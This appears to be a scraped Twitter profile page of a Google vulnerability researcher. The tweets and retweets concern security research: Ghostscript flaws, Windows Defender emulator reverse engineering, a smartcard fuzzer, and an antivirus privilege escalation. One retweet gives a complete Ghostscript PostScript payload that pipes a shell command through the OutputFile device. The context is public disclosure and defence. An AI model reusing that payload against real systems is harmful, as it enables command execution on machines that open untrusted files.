Tavis OrmandyVerified account

@taviso

Vulnerability researcher at Google. This is a personal stream, opinions expressed are mine.

California
Joined April 2008

Tweets

You blocked @taviso

Are you sure you want to view these Tweets? Viewing Tweets won't unblock @taviso

  1. Retweeted
    Aug 24
    Replying to
    Undo
  2. Retweeted
    Aug 23
    Replying to

    Heh, I just heard "Shell in the Ghost", that would have been a good name. 🤓

    Undo
  3. Aug 23
    Undo
  4. Retweeted
    Aug 22

    From Nautilus file manager thumbnail to code execution via ghostscript and evince... by &

    Show this thread
    Undo
  5. Retweeted
    Aug 21

    😱 %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops

    Undo
  6. Aug 21

    This is your annual reminder to disable all the ghostscript coders in policy.xml.

    Undo
  7. Retweeted
    Aug 20

    My slides on Reverse Engineering Windows Defender's Binary Emulator, as presented , , and are online. Sequel to my RE of Defender's JS engine, I think this is the best presentation I've done yet. Huge PDF - 40mb/225 slides

    Show this thread
    Undo
  8. Retweeted
    Aug 13

    We are releasing the Smartcard Fuzzer used to find bugs in OpenSC, Yubico, and Apple Smart Card Services stacks:

    Show this thread
    Undo
  9. Retweeted

    REMINDER: You can block or mute anyone for any reason. It's your timeline, it's your space, it's your time and attention.

    Undo
  10. Retweeted
    Aug 8

    Hi , I've been working for years to help make iOS more secure. Here's a list of all the bugs I reported which qualified for your bug bounty since its launch, could you invite me to the program so we can donate this money to ?

    Show this thread
    Undo
  11. Retweeted
    Aug 8

    Damn, the stadium is huge, and just gave an amazing keynote in front of this huge crowd. <3

    Undo
  12. Retweeted
    Aug 8

    The data don't lie: Project Zero is making users across the industry more secure.

    Undo
  13. Retweeted
    Aug 8

    She even made fun of blockchain in her opener. ;) Go go!

    Show this thread
    Undo
  14. Retweeted
    Aug 2
    Undo
  15. Retweeted
    Aug 1
    Show this thread
    Undo
  16. Retweeted
    Jul 5

    Next month and I'll be talking about Windows Defender's and releasing tooling for the emulator built on 's "loadlibrary". If you're interested, I recommend grabbing the current 32-bit Windows Defender Antivirus at

    Show this thread
    Undo
  17. Retweeted
    Jun 5

    Popping notepad as SYSTEM via F-Secure antivirus (now patched) using 7-zip flaw. Likely applies to other AVs. Don't tell

    Undo
  18. Retweeted
    May 12
    Replying to

    Haha, here is Master Blaster, an elite hacker, doing a code review with a novice programmer. I hope this scene is going to be in the next DC universe movie 🤣

    Undo
  19. May 12

    This person wrote to the editor complaining that they used C. /cc

    Show this thread
    Undo
  20. May 12

    No more livetweeting haha, but you all need to read this lol.

    Show this thread
    Undo

Loading seems to be taking a while.

Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.

    You may also like

    ·